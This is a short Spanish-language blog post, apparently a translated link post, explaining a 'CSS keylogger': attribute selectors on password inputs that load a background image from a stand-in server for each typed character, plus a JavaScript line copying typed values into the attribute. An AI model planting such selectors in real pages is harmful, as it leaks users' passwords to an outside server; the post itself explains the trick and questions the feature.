Registrador de teclas CSS | Programar Plus

Pequeño ataque aterrador usando esencialmente un montón de selectores de atributos como este:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Al principio, estaba como esperando un minuto, no puede seleccionar entradas en función de lo que las personas escriben en ellas, sino solo lo que está configurado en el atributo en sí. Max Chehab muestra cómo es posible, sin embargo, porque React usa “componentes controlados” que hacen esto de forma predeterminada. Sin mencionar que puede aplicar el valor escrito al atributo fácilmente como:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

¿Qué tan útil y extendido es seleccionar entradas basadas en el atributo de valor como este? No estoy seguro de que lo echaría de menos si me lo quitaran.

Enlace directo →

(Visited 1 times, 1 visits today)